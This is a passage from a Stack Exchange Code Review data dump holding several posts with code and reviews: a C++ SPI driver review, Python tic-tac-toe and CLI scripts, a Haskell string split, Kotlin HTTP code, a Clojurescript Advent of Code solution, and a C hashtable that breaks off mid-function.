to the functions named <code>isReady</code> or <code>isConfigured</code>. Along those same lines, if you have a function that returns a value, it's probably an error if you don't read the result; indicating this to the compiler will help with a whole class of errors.</p>\n<h3>Core Guideline: Don’t declare a variable until you have a value to initialize it with</h3>\n<pre><code>///In particular I'm looking at\nuint32_t ReadRegResponseMsg::getData(void)\n{\n uint32_t data = 0;\n data = ((static_cast&lt;uint32_t&gt;(msg.bytes[0]) &lt;&lt; 16) |\n (static_cast&lt;uint32_t&gt;(msg.bytes[1]) &lt;&lt; 8) |\n (static_cast&lt;uint32_t&gt;(msg.bytes[2]) &amp; 0xE0));\n return data;\n}\n/// which could be\nuint32_t ReadRegResponseMsg::getData(void)\n{\n return ((static_cast&lt;uint32_t&gt;(msg.bytes[0]) &lt;&lt; 16) |\n (static_cast&lt;uint32_t&gt;(msg.bytes[1]) &lt;&lt; 8) |\n (static_cast&lt;uint32_t&gt;(msg.bytes[2]) &amp; 0xE0));\n}\n</code></pre>\n<p>You don't need to zero initialize <code>data</code>, and you may as well simply return instead of using a named variable. Not every compiler will catch that you override the value in data, but almost every compiler will try to do some fancy optimization like this. The same applies for the CRC functions.</p>\n<h3>Code Deduplication</h3>\n<p>ReadReg and WriteReg look nearly identical, so why not condense a lot of that into a single source file? Like in the message class that they derive from?</p>\n<p>Then there's digitalInputsDriverCfg, which</p>\n<pre><code>uint8_t DigitalInputsDriverCfg::readFault2EnRegCfgData(Device device)\n{\n Fault2EnRegBitMap reg_data;\n reg_data.byte = 0;\n\n for(uint8_t cur_record = 0;\n cur_record &lt; static_cast&lt;uint8_t&gt;(\n Fault2SrcInFault1Reg::kNoFault2Src);\n cur_record++){\n switch (configuration[static_cast&lt;uint8_t&gt;(device)]\n .fault2_src_cfg[cur_record]\n .fault2){\n\n case Fault2SrcInFault1Reg::kFault8CkeInFault1Reg:\n if(configuration[static_cast&lt;uint8_t&gt;(device)]\n .fault2_src_cfg[cur_record]\n .usage == Fault2SrcUsage::kFault2SrcUsed){\n reg_data.bits.fault8cke_bit = 1;\n }\n break;\n case Fault2SrcInFault1Reg::kOtShdnInFault1Reg:\n if(configuration[static_cast&lt;uint8_t&gt;(device)]\n .fault2_src_cfg[cur_record]\n .usage == Fault2SrcUsage::kFault2SrcUsed){\n reg_data.bits.otshdne_bit = 1;\n }\n break;\n case Fault2SrcInFault1Reg::kPinREFDIOpenInFault1Reg:\n if(configuration[static_cast&lt;uint8_t&gt;(device)]\n .fault2_src_cfg[cur_record]\n .usage == Fault2SrcUsage::kFault2SrcUsed){\n reg_data.bits.rfdioe_bit = 1;\n }\n break;\n case Fault2SrcInFault1Reg::kPinREFDIShortInFault1Reg:\n if(configuration[static_cast&lt;uint8_t&gt;(device)]\n .fault2_src_cfg[cur_record]\n .usage == Fault2SrcUsage::kFault2SrcUsed){\n reg_data.bits.rfdise_bit = 1;\n }\n break;\n case Fault2SrcInFault1Reg::kPinREFWBOpenInFault1Reg:\n if(configuration[static_cast&lt;uint8_t&gt;(device)]\n .fault2_src_cfg[cur_record]\n .usage == Fault2SrcUsage::kFault2SrcUsed){\n reg_data.bits.rfwboe_bit = 1;\n }\n break;\n case Fault2SrcInFault1Reg::kPinREFWBShortInFault1Reg:\n if(configuration[static_cast&lt;uint8_t&gt;(device)]\n .fault2_src_cfg[cur_record]\n .usage == Fault2SrcUsage::kFault2SrcUsed){\n reg_data.bits.rfwbse_bit = 1;\n }\n break;\n }\n }\n return reg_data.byte;\n}\n</code></pre>\n<p>This is a monster of a function which can certainly be turned into a smaller functions. The amount of indirection, and number of lines for an if-statement <strong>conditional</strong> seems suspicious. It would be pretty easy to create a helper function to make that really straightforward to read.</p>\n<h3>Use of placement new</h3>\n<p>Do you really need it? It's an obscure feature, and it doesn't look like you're assigning the contents in most places to a dedicated address. What's wrong with automatic variables? I know embedded systems are memory sensitive, but usually <code>placement new</code> is for setting a variable at a specific memory location, or in a memory pool. If you're not doing either, why complicate the situation?</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T21:58:41.073", "Id": "253403", "ParentId": "253396", "Score": "2" } }, { "body": "<h1>Add include guards</h1>\n<p>I am not seeing any <a href=\"https://en.wikipedia.org/wiki/Include_guard\" rel=\"nofollow noreferrer\">include guards</a> in your code. It is common practice to add those to header files; this allows them to depend on other header files without having to worry about loops and duplicates. The simplest solution is to add the following to the top of each header file:</p>\n<pre><code>#pragma once\n</code></pre>\n<p>This is supported by most compilers, however it is not standard C++. The standards-compliant way is to write a header file like so:</p>\n<pre><code>#ifndef HEADERFILENAME_H\n#define HEADERFILENAME_H\n\n// Contents of header file come here\n...\n\n#endif\n</code></pre>\n<p>However, you need to replace <code>HEADERFILENAME</code> with something unique for each header file, typically the header's filename is used for that.</p>\n<h1>Use of <code>enum</code>s</h1>\n<p>In principle using <code>enum class</code> for constants gives you excellent type safety, however there are some drawbacks, in particular there is the need to cast them whenever you need to get their integer value. I would keep using <code>enum class</code>es for things where you have really distinct names for each possible value, like the fault codes. However, I would not use them for pin numbers if you are just going to give the pin numbers names that have a one-to-one correspondence to their value, like in:</p>\n<pre><code>enum class Input {\n kDi_00,\n kDi_01,\n ...\n};\n</code></pre>\n<p>Also, I see you prefixed all the enum names with a <code>k</code>. This is probably a leftover from a coding style using <a href=\"https://en.wikipedia.org/wiki/Hungarian_notation\" rel=\"nofollow noreferrer\">Hungarian notation</a>, but since you don't use Hungarian notation for anything else, it doesn't make much sense. I would remove the <code>k</code>s, they just add visible noise and don't do anything to make the code safer.</p>\n<h1>Avoid starting identifiers with underscores</h1>\n<p>There are certain <a href=\"https://stackoverflow.com/questions/228783/what-are-the-rules-about-using-an-underscore-in-a-c-identifier\">rules about using underscores in identifiers</a>. In particular, starting with an underscore or using a double underscore is reserved in some situations. Your use is fine according to those rules, but if you were not aware of this to begin with, I would advise you to not start any names with underscores. I see you use those always in constructors, but they are almost never necessary. You only need them if you would shadow a member variable, and need to access both the member variable and the parameter at the same time in the body. However, note that you can use the same name as a member variable if you only use it in a constructor's initializer list, like so:</p>\n<pre><code>Register::Register(DigitalInputsDriverCfg::Device device,\n DigitalInputsDriverCfg::MAX22190RegisterType type, uint8_t address,\n Transceiver *transceiver) :\n device{device},\n type{type},\n address{address},\n transceiver{transceiver},\n{...} \n</code></pre>\n<h1>Avoid the array of pointer in <code>DigitalInputsDriver</code></h1>\n<p>There is no need to have both <code>device0</code>, <code>device1</code> and an array <code>devices[]</code>. I assume the reason you have this is because you want to be able to initialize <code>device0</code> and <code>device1</code> in the constructor's initializer list, but wanted to be able to access them as an array. You can remove the redundancy and get the best of both worlds though, by writing it as follows:</p>\n<pre><code>class DigitalInputsDriver\n{\n ...\n MAX22190 devices[2];\n};\n\nDigitalInputsDriver::DigitalInputsDriver(DigitalInputsDriverCfg *dig_in_cfg, uint16_t spi_device_id) :\n transceiver{spi_device_id},\n devices{\n {DigitalInputsDriverCfg::Device::kMAX22190Device_0, dig_in_cfg, &amp;transceiver},\n {DigitalInputsDriverCfg::Device::kMAX22190Device_1, dig_in_cfg, &amp;transceiver},\n }\n{} \n</code></pre>\n<p>You'll have to update all the code that uses <code>devices[]</code> now that it no longer contains pointers but values, for example:</p>\n<pre><code>void DigitalInputsDriver::update(void)\n{\n for (MAX22190 &amp;device : devices) {\n device.update();\n }\n}\n</code></pre>\n<h1>Make member functions that do not modify state <code>const</code></h1>\n<p>Functions that do not modify state like member variables should be marked <code>const</code>, so the compiler can generate more optimal code. It will also make the compiler generate an error if you do accidentily write to a member variable from a <code>const</code> function. For example:</p>\n<pre><code>class MAX22190 : public TransactionEndListener\n{\n ...\n bool isReady(void) const;\n ...\n};\n\nbool MAX22190::isReady(void) const\n{\n return device_ready &amp;&amp; device_configured;\n}\n</code></pre>\n<h1>Prefer member variable initialization where appropriate</h1>\n<p>Instead of initializing member variables in the constructor, you can sometimes also initialize them at the place where the member variables are declared. For example:</p>\n<pre><code>class Register\n{\n ...\n bool configured = false; // or bool configured{false}; or bool configured{};\n bool pending = false;\n bool refreshed = false;\n ...\n};\n</code></pre>\n<p>This is especially useful if you have multiple constructors in the class, since it then avoids a lot of repetition.</p>\n<h1>Use of placement <code>new</code></h1>\n<p>I was a bit surprised to see the following code:</p>\n<pre><code>bool Register::read(void)\n{\n if (!transceiver-&gt;isBusy()) {\n new (&amp;read_reg_request) ReadRegRequestMsg(device, address, transceiver);\n ...\n</code></pre>\n<p>Placement <code>new</code> is something you do in rather rare circumstances where you either want to avoid default construction or where copy assignment is not possible. There is no problem copy-assigning a <code>ReadRegRequestMsg</code>, and since <code>read_reg_request</code> was already default constructed, there is no performance gain here. I would replace this line of code with:</p>\n<pre><code>read_reg_request = ReadRegRequestMsg(device, address, transceiver);\n</code></pre>\n<p>But upon further inspection, why store the request in a member variable in the first place? It is not used outside <code>Register::read()</code>, so it could just have been a local variable. But the only thing you do is call <code>write()</code> on it, so you don't even need to store the result in a local variable, and can just write:</p>\n<pre><code>bool Register::read(void)\n{\n if (!transceiver-&gt;isBusy()) {\n ReadRegRequestMsg(device, address, transceiver).write();\n ...\n</code></pre>\n<p>But then that brings me to:</p>\n<h1>Don't overcomplicate things</h1>\n<p>Why is <code>ReadRegRequestMsg</code> a class, why does it inherit from <code>class Message</code> which itself doesn't do anything useful, when the only thing you need is the function that writes a message to a device? It could be a stand-alone function:</p>\n<pre><code>void writeReadRegRequestMsg(DigitalInputsDriverCfg::Device device, uint8_t address, Transceiver *transceiver)\n{\n union {\n struct\n {\n uint32_t crc : 5;\n uint32_t fill : 11;\n uint32_t reg_addr : 7;\n uint32_t msb : 1;\n } bits;\n uint8_t bytes[3];\n } msg;\n\n msg.bits.msb = 0;\n msg.bits.reg_addr = address;\n msg.bits.fill = 0;\n uint8_t crc = crcMAX22190(msg.bytes[2], msg.bytes[1], msg.bytes[0]);\n msg.bits.crc = crc;\n \n transceiver-&gt;putBytes(msg.bytes);\n transceiver-&gt;startTransaction(device);\n}\n</code></pre>\n<p>Or perhaps better is to make this a member function of <code>Register</code>.</p>\n<h1>For-case loops</h1>\n<p>There are several parts of the code that look suspiciously like <a href=\"https://en.wikipedia.org/wiki/Loop-switch_sequence\" rel=\"nofollow noreferrer\"><code>for</code>-<code>case</code>-loops</a>, like <code>MAX22190::configure()</code>, <code>Configure::configure()</code>, and <code>Refresher::refresh()</code>. Is this because you have modelled the system as a state machine, and want to advance the state one step at a time? The problem is that this makes the flow of the code hard to read. I would rather expect something like:</p>\n<pre><code>bool MAX22190::configure(void)\n{\n for (auto reg: register_map) {\n configurator.configure(*reg));\n }\n\n return true;\n}\n</code></pre>\n<p>And in turn have <code>configurator.configure()</code> do all the steps necessary to configure the register by itself.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T22:15:42.523", "Id": "253404", "ParentId": "253396", "Score": "4" } } ]
{ "AcceptedAnswerId": "253404", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T19:41:21.210", "Id": "253396", "Score": "2", "Tags": [ "c++", "object-oriented", "embedded", "device-driver" ], "Title": "Software driver for digital inputs expander communicating over SPI" }
253396
<p>As a noob I'm creating Tic Tac Toe on Python (Jupyter Notebook used). Granted my coding looks almost childish compared to some of the more advanced examples i've seen, but I am still learning the various built-in functions and becoming more efficient, so I apologize for that. The issue regards the changing of human player ('X') and bot ('O') after 2nd move of human.Below is my code and the final output. Could anyone possibly advise as to why the bots choices stop reflecting after round 1?</p> <pre><code>winner = False moves = 0 while winner == False or moves &lt; 10: player_choice(moves) print (f'(The current player is {moves})') final_output() if result_check() == True: winner == True break if game_on() == False: break moves += 1 if winner == True: print(f'(We have a winner, player {curr_player})') print(final_output()) else: print(&quot;Game has been ended by User...goodbye&quot;) </code></pre> <p>The function I used to alternate the moves between bot and human was as follows:</p> <pre><code>def player_choice(mover): placed = '' placed_2 = '' filled_cells = [] if mover %2 !=0: while placed_2 == '': bot_choice = random.randint(0,8) print(f'(the bots choice was {bot_choice})') if bot_choice not in filled_cells: test[bot_choice] = 'O' placed_2 == &quot;done&quot; filled_cells.append(bot_choice) return True elif mover%2 == 0': while placed == '': p_choice = int(input('Please select cell from 1-9 : '))-1 if test[p_choice] not in filled_cells: test[p_choice] = 'X' filled_cells.append(p_choice) placed == 'done' return True elif test[p_choice] in filled_cells: print('Sorry, that cell has been chosen, please select another') </code></pre> <p>My result looks as follows:</p> <p><a href="https://i.stack.imgur.com/KtGwh.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/KtGwh.png" alt="enter image description here" /></a></p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T00:16:14.887", "Id": "499712", "Score": "1", "body": "Welcome to CR! This site is for working code only. Please see [on topic](https://codereview.stackexchange.com/help/on-topic) and take the [tour]." } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T20:04:33.930", "Id": "253397", "Score": "1", "Tags": [ "python", "python-3.x", "tic-tac-toe" ], "Title": "Changing player between bot and human in python tic tac toe" }
253397
<p>I wrote a split by delimiter function in Haskell and wanted some feedback on this piece of code. Since I come from an imperative programming background, I often write too complex functions in haskell.</p> <pre><code>split :: Char -&gt; String -&gt; [String] split c str = fst $ splitInternal c ([], str) splitInternal :: Char -&gt; ([String], String) -&gt; ([String], String) splitInternal _ (result, &quot;&quot;) = (result, &quot;&quot;) splitInternal c (result, str) = splitInternal c ( result ++ [takeWhile (/= c) str], case dropWhile (/= c) str of &quot;&quot; -&gt; &quot;&quot; rest -&gt; tail rest ) </code></pre> <p>My questions are</p> <ol> <li>Is it bad to have splitInternal function? I couldn't figure out a way without it.</li> <li>Is there maybe a simpler way to write the function?</li> <li>Any other feedback is welcome as well</li> </ol>
[]
[ { "body": "<blockquote>\n<p>Is it bad to have splitInternal function? I couldn't figure out a way without it.</p>\n</blockquote>\n<p>Well, according to your procedure, I think it is necessary, but you can improve the readibility by writing some small functions and then combining them together. Besides, if there are consecutive delimiters, your <code>split</code> function doesn't work as expected. The code can be rewritten as following:</p>\n<pre class=\"lang-hs prettyprint-override\"><code>splitInternal :: Char -&gt; ([String], String) -&gt; ([String], String)\nsplitInternal _ (result, &quot;&quot;) = (result, &quot;&quot;)\nsplitInternal c (result, remain) = splitInternal c (getBefore c remain, getAfter c remain)\n where\n getBefore delimiter rest = result ++ [takeWhile (/= delimiter) rest]\n getAfter delimiter rest = dropWhile (== delimiter) . dropWhile (/= delimiter) $ rest\n</code></pre>\n<blockquote>\n<p>Is there maybe a simpler way to write the function?</p>\n</blockquote>\n<p>Yes, you can use the <code>break</code> and <code>span</code> function defined in <code>Prelude</code>:</p>\n<pre class=\"lang-hs prettyprint-override\"><code>split :: Char -&gt; String -&gt; [String]\nsplit _ &quot;&quot; = []\nsplit delimiter str = \n let (start, rest) = break (== delimiter) str\n (_, remain) = span (== delimiter) rest\n in start : split delimiter remain\n</code></pre>\n<p>So in this case, your <code>splitInternal</code> is unnecessary.</p>\n<blockquote>\n<p>Any other feedback is welcome as well</p>\n</blockquote>\n<p>Well, if you are dealing with string, then a better choice is <code>Text</code> from <code>Data.Text</code>. <code>Text</code> is more efficient than <code>String</code> when you are dealing with string. In the module <code>Data.Text</code>, there is a pre-defined function <code>splitOn</code> that works almost as you expect:</p>\n<pre class=\"lang-hs prettyprint-override\"><code>ghci&gt; :seti -XOverloadedString\n\nghci&gt; splitOn &quot;,&quot; &quot;123,456,789&quot;\n[&quot;123&quot;,&quot;456&quot;,&quot;789&quot;]\n\nghci&gt; splitOn &quot;,&quot; &quot;123,,,456,789&quot;\n[&quot;123&quot;,&quot;&quot;,&quot;&quot;,&quot;456&quot;,&quot;789&quot;] -- This is what I mean &quot;almost&quot;, since splitOn doesn't use the consecutive delimiters. Maybe this is what you want.\n<span class=\"math-container\">```</span>\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T04:36:21.673", "Id": "253528", "ParentId": "253400", "Score": "3" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T20:58:18.440", "Id": "253400", "Score": "2", "Tags": [ "haskell" ], "Title": "Split String by delimiter in Haskell" }
253400
<p>I'm making an http call from an android app and want to have it reviewed for brevity and efficiency. It handles both success and error streams, by contract 200 OK is enforced (not 201 created other codes etc.)</p> <pre><code>class UserNetwork() { fun findAll(): ArrayList&lt;User&gt;? { val url = URL(&quot;http:///10.0.2.2:8080/employees&quot;) val connection = url.openConnection() as HttpURLConnection connection.setRequestProperty(&quot;Accept&quot;, &quot;application/json&quot;); var users: ArrayList&lt;User&gt;? = null (if (connection.responseCode == 200) connection.inputStream else connection.errorStream).use { stream -&gt; BufferedReader(InputStreamReader(stream)).use { reader -&gt; val response = StringBuffer() users = arrayListOf() @Suppress(&quot;ControlFlowWithEmptyBody&quot;) while ((reader.readLine().also { response.append(it) }) != null) {} val body = JSONArray(response.toString()) for (i in 0 until body.length()) { users?.add(User(body.getJSONObject(i))) } } } return users } } </code></pre> <p>User data object.</p> <pre><code>data class User(var id: Long? = null, var first: String? = null, var last: String? = null): Parcelable { constructor(data: JSONObject) : this() { id = data.getLong(&quot;id&quot;) first = data.getString(&quot;first&quot;) last = data.getString(&quot;last&quot;) } } </code></pre> <p>Test class (testing method for findAll)</p> <pre><code>class UserNetworkTest { @Test fun testFindAll() { val users = userProxy.findAll() assertEquals(3, users!!.size) users.forEach { user -&gt; assertNotNull(user.id) assertNotNull(user.first) assertNotNull(user.last) } } } </code></pre>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T00:38:33.703", "Id": "253406", "Score": "0", "Tags": [ "android", "kotlin" ], "Title": "http url connection with kotlin on android" }
253406
<p><strong>The Project</strong> I need a &quot;Look Up Table&quot; for <em>Tags</em> assigned to <em>Accounts</em>. Multiple Tags can be applied to the same Account, but each Tag points to only one Account: EG. <a href="https://stackoverflow.com/questions/65064860/many-to-one-lookup-table-for-taxonomy-mapping">Many-to-One lookup table</a>. I discovered an SQLLite database would be sufficient.</p> <p>As a LUT/DB the <strong>database is created once</strong> (just use SQLLite Browser for edits). For this reason I decided to skip implementing the rest of CRUD. Once the user starts the mapping, you have to complete the whole process.</p> <p><strong>Problem</strong></p> <p>CRUD would have been easier! ... It is easy to <strong>script a series of inputs</strong>. The difficulty happens when you <em>require each input to have multiple steps</em>:</p> <ul> <li><strong>validate user input</strong></li> <li><strong>lookup input in DB</strong></li> <li><strong>user approval</strong></li> </ul> <p>The common Python input idiom uses <code>while True</code> &amp; <code>break</code>, but it quickly gets tricky to break from multiple levels of nested <code>while</code> loops.</p> <p><strong>Solution</strong></p> <p>Naively, I wanted a <a href="https://stackoverflow.com/questions/18863309/the-equivalent-of-a-goto-in-python">goto() function</a>, but this is verboten in Python. Suggestions to avoid <code>goto()</code> included making <a href="https://stackoverflow.com/a/18863438/343215">functions</a>, and using exceptions. I found one intereseting <a href="https://stackoverflow.com/a/37841543/343215">unusual solution</a>, but was unable to adapt it to my needs. I ended up creating functions and choosing a <a href="https://stackoverflow.com/questions/189645/how-to-break-out-of-multiple-loops/6564670#6564670">state-like solution</a>:</p> <pre><code>import random, re # Fake tags for loop til = [{'name' : 'ABC', 'id' : '1'}, {'name' : 'XYZ', 'id' : '2'}, {'name' : 'LMN', 'id' : '3'}] # TWO HELPER FUNCTIONS def hf_valid_entry(user_input): while True: if not user_input: user_input = input(&quot; 1. Assign Account#: &quot;) if not re.match(&quot;\d{4,5}(-\d{2})?&quot;, user_input): print(f&quot; 2. Bad form: `{user_input}`&quot;) user_input = None else: print(&quot; 2. Good form.&quot;) return user_input def hf_check_acc_num(user_input): try: # Fake DB Lookup record = {'name': 'FOO', 'id' : '1', 'account_number' : '1234'} except Exception as e: print(e) return False # Simulate bad lookup if not random.choice([True, False, False]): print(&quot; 3. No Record Found.&quot;) return False else: print(&quot; 3. Found Record.&quot;) return record # THE LOOP for ti in til: print(&quot;= &quot; * 20) print(f&quot;TAG: {ti['name']}&quot;) breaker = False while True: user_input = None # VALIDATE ENTRY user_input = hf_valid_entry(user_input) print(&quot;- &quot; * 20) print(&quot;Review selection:&quot;) print(f&quot;TAG NAME: {ti['name']}&quot;) # LOOKUP INPUT IN DATABASE record = hf_check_acc_num(user_input) if record: # PREVIEW print(f&quot;Account#: {record['account_number']} - {record['name']}&quot;) #breaker = False response3 = None # APPROVE while not response3 or response3.lower() not in ('yes', 'y', 'no', 'n'): response3 = input(&quot; 4. Approve assignment? (y)es, (n)o: &quot;) if response3.lower() in (&quot;yes&quot;, &quot;y&quot;): breaker = True break else: print(&quot;5. Not approved!&quot;) break else: pass # RETURN TO SAME TAG if breaker: print(&quot;5. Approved!&quot;) # GO TO NEXT TAG break </code></pre> <p>I'm self-taught programmer, and this is a personal project. If you see any redundancies or bad form, I'd appreciate the feedback. I've been making a lot of CLI tools, and so if you have any pseudo-code suggestions for refactoring, that would be great.</p> <p>Here is the successful test run (enter <code>1234</code> to pass validation):</p> <p>Iterate list of tags:</p> <ol> <li>assign account number</li> <li>validate account number</li> <li>Look up account number in 'db'</li> <li>Approve tag-account number assignment</li> <li>if not approved, try again (same tag)</li> </ol> <pre class="lang-none prettyprint-override"><code> = = = = = = = = = = = = = = = = = = = = 1. Assign Account#: 1234 2. Good form. - - - - - - - - - - - - - - - - - - - - Review selection: TAG ID: 1 TAG NAME: ABC 3. No Record Found. &lt;-- SIMULATE BAD DB LOOKUP 1. Assign Account#: 1234 &lt;-- RETRY 2. Good form. - - - - - - - - - - - - - - - - - - - - Review selection: TAG ID: 1 TAG NAME: ABC &lt;-- RETRY WITH SAME TAG 3. No Record Found. 1. Assign Account#: 1234 2. Good form. - - - - - - - - - - - - - - - - - - - - Review selection: TAG ID: 1 TAG NAME: ABC 3. Found Record. Account#: 1234 - FOO 4. Approve assignment? (y)es, (n)o: y 5. Approved! = = = = = = = = = = = = = = = = = = = = TAG: XYZ &lt;-- NEXT TAG 1. Assign Account#: 1234 2. Good form. - - - - - - - - - - - - - - - - - - - - Review selection: TAG ID: 2 TAG NAME: XYZ 3. Found Record. Account#: 1234 - FOO 4. Approve assignment? (y)es, (n)o: n &lt;-- REJECT 5. Not approved! 1. Assign Account#: 1234 2. Good form. - - - - - - - - - - - - - - - - - - - - Review selection: TAG ID: 2 TAG NAME: XYZ &lt;-- SAME TAG 3. No Record Found. 1. Assign Account#: 1234 2. Good form. - - - - - - - - - - - - - - - - - - - - Review selection: TAG ID: 2 TAG NAME: XYZ 3. Found Record. Account#: 1234 - FOO 4. Approve assignment? (y)es, (n)o: y 5. Approved! = = = = = = = = = = = = = = = = = = = = TAG: LMN &lt;-- MOVE ON TO LAST TAG </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T06:56:48.263", "Id": "499859", "Score": "0", "body": "Wouldn't it be easier to create a text file with a tag and account number on each line? The script would load and parse the file, validate the account numbers, and then create the LUT in the database." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T19:29:19.967", "Id": "499912", "Score": "0", "body": "This question is not complete. It's missing, at the least, your imports (`re`, `random`). Please show your complete code, and if _Fake tags for loop_ can be replaced with more of your \"real\" code, please do that, too." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T19:39:03.613", "Id": "499913", "Score": "3", "body": "I took a stab at sanitizing this program but I can't. It's littered with stubs and faked-out database access. You can have your cake and eat it too: use all-real code, and follow it up with unit tests that perform proper mocking so that a real database is not needed." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T22:56:21.053", "Id": "500107", "Score": "0", "body": "_\"Fake tags for loop\"_ The real tags are in SQLLite, and since this is about Python `input()`, `ti['name']` is as good as `ti.name`. _\"unit tests that perform proper mocking so that a real database is not needed\"_ Wow. I don't know how to do that yet. Next week when I have time." } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T00:43:51.307", "Id": "253407", "Score": "1", "Tags": [ "python", "console" ], "Title": "CLI Python. Iterate list of tags: assign, validate, lookup & approve with input()" }
253407
<p>This is a Clojurescript solution to parts 1 and 2 of <a href="https://adventofcode.com/2020/day/2" rel="nofollow noreferrer">Day 2</a> of Advent of Code 2020.</p> <p>This code is written in Clojurescript to run on Node.js. It can be run simply using <a href="https://github.com/anmonteiro/lumo" rel="nofollow noreferrer">lumo</a> and this command: <code>lumo filename.cljs</code>.</p> <p>Here's a short version of the problem statement:</p> <p>Part 1. Given a file in the format</p> <pre><code>1-3 a: abcde 1-3 b: cdefg 2-9 c: ccccccccc </code></pre> <p>Each line gives a &quot;password policy&quot; and then the password. The policy indicates the lowest and highest number of times the given letter must appear for the password to be valid. For example, <code>1-3 a</code> means that the password must contain <code>a</code> at least 1 time and at most 3 times. How many passwords in the list are valid?</p> <pre><code>(require '[clojure.string :as str]) (def fs (js/require &quot;fs&quot;)) (def lines (str/split-lines (.readFileSync fs &quot;puzzle.input&quot; &quot;utf8&quot;))) (def split-lines (map #(str/split % #&quot; &quot;) lines)) (defn valid? [mini maxi freqs letter] (let [occurances (get freqs letter 0)] (and (&gt;= occurances mini) (&lt;= occurances maxi)))) (defn process-line [line] (let [[nums letter pass] line [mini maxi] (map js/parseInt (str/split nums #&quot;-&quot;))] (valid? mini maxi (frequencies pass) (subs letter 0 1)))) (println (count (filter true? (map process-line split-lines)))) </code></pre> <p>Part 2: Given the same list, each policy actually describes two positions in the password, where 1 means the first character, 2 means the second character, and so on. Exactly one of these positions must contain the given letter. How many passwords are valid?</p> <pre><code>;; Same boilerplate (defn valid? [index-1 index-2 letter pass] (let [spot-1 (subs pass (- index-1 1) index-1) spot-2 (subs pass (- index-2 1) index-2)] (or (and (= spot-1 letter) (not= spot-2 letter)) (and (not= spot-1 letter) (= spot-2 letter))))) (defn process-line [line] (let [[nums letter pass] line [index-1 index-2] (map js/parseInt (str/split nums #&quot;-&quot;))] (valid? index-1 index-2 (subs letter 0 1) pass))) (println (count (filter true? (map process-line split-lines)))) </code></pre>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T02:06:50.307", "Id": "253408", "Score": "0", "Tags": [ "clojurescript" ], "Title": "Advent of Code 2020 Day 2 in Clojurescript" }
253408
<p>I implemented a hashtable that handles collisions by chaining entries using a double linked list. The idea is that it can store/lookup any kind of generic data structure, while maintaining an API that is convenient to use.</p> <p>For now the implementation only supports adding, obtaining and removing entries, - resizing of the table is planned in the future.</p> <p>Can I make my implementation more performant and readable, so that I can easiely reuse it in future projects? I feel like the <code>ht_add</code> and <code>ht_delete</code> functions especially have room for improvement. Looking forward for any feedback.</p> <p><strong>hashtable.h</strong></p> <pre><code>#ifndef HASHTABLE_H #define HASHTABLE_H typedef struct entry_t { unsigned int key; void* value; struct entry_t* next; struct entry_t* prev; } entry_t; typedef struct hashtable_t { unsigned int buckets_count; struct entry_t **buckets; } hashtable_t; // ToDo: Add resizing functionality unsigned int compute_hash(struct hashtable_t *ht, unsigned int key); hashtable_t *ht_new(unsigned int size); int ht_add(struct hashtable_t* ht, unsigned int key, void* value); entry_t* ht_get(struct hashtable_t* ht, unsigned int key); void ht_print(struct hashtable_t* ht); void ht_delete(struct hashtable_t* ht, unsigned int key); void ht_free(struct hashtable_t* ht); #endif </code></pre> <p><strong>hashtable.c</strong></p> <pre><code>#include &quot;hashtable.h&quot; #include &lt;stdlib.h&gt; #include &lt;stdio.h&gt; // Sources used as reference/learning material: // http://pokristensson.com/code/strmap/strmap.c // https://github.com/Encrylize/hashmap/blob/master/hashmap.c // https://github.com/goldsborough/hashtable/blob/master/hashtable.c hashtable_t *ht_new(unsigned int bucket_count) { struct hashtable_t *ht; ht = malloc(sizeof(struct hashtable_t)); if (ht == NULL) return NULL; ht-&gt;buckets = malloc(sizeof(entry_t) * bucket_count); if (ht-&gt;buckets == NULL) return NULL; ht-&gt;buckets_count = bucket_count; return ht; } void ht_delete(struct hashtable_t *ht, unsigned int key) { unsigned int index = compute_hash(ht, key); entry_t *e_curr = ht_get(ht, key); /* Chain has no entries */ if (e_curr == NULL) return; entry_t *e_prev = e_curr-&gt;prev; entry_t *e_next = e_curr-&gt;next; /* Entry is first element in the chain */ if(e_prev == NULL) { if(e_next != NULL) { e_next-&gt;prev = NULL; } ht-&gt;buckets[index] = e_next; free(e_curr); } /* Entry is not the first element in the chain */ else { while(e_curr-&gt;key != key) { e_curr = e_next; e_prev = e_curr; } e_prev-&gt;next = e_next; if(e_next != NULL) e_next-&gt;prev = e_prev; free(e_curr); } } int ht_add(struct hashtable_t *ht, unsigned int key, void* value) { unsigned int index = compute_hash(ht, key); struct entry_t *new_entry = malloc(sizeof(struct entry_t)); if (new_entry == NULL) return -1; if (ht-&gt;buckets[index] != NULL) { /* Go to the end of the linked list and append new entry */ entry_t *current_entry = ht-&gt;buckets[index]; while (current_entry-&gt;next != NULL) { current_entry = current_entry-&gt;next; } new_entry-&gt;key = key; new_entry-&gt;value = value; new_entry-&gt;next = NULL; new_entry-&gt;prev = current_entry; current_entry-&gt;next = new_entry; } else { new_entry-&gt;key = key; new_entry-&gt;value = value; new_entry-&gt;next = NULL; new_entry-&gt;prev = NULL; ht-&gt;buckets[index] = new_entry; } return 0; } // Taken from https://burtleburtle.net/bob/hash/integer.html // Should give a fairly decent distribution of entries unsigned int compute_hash(struct 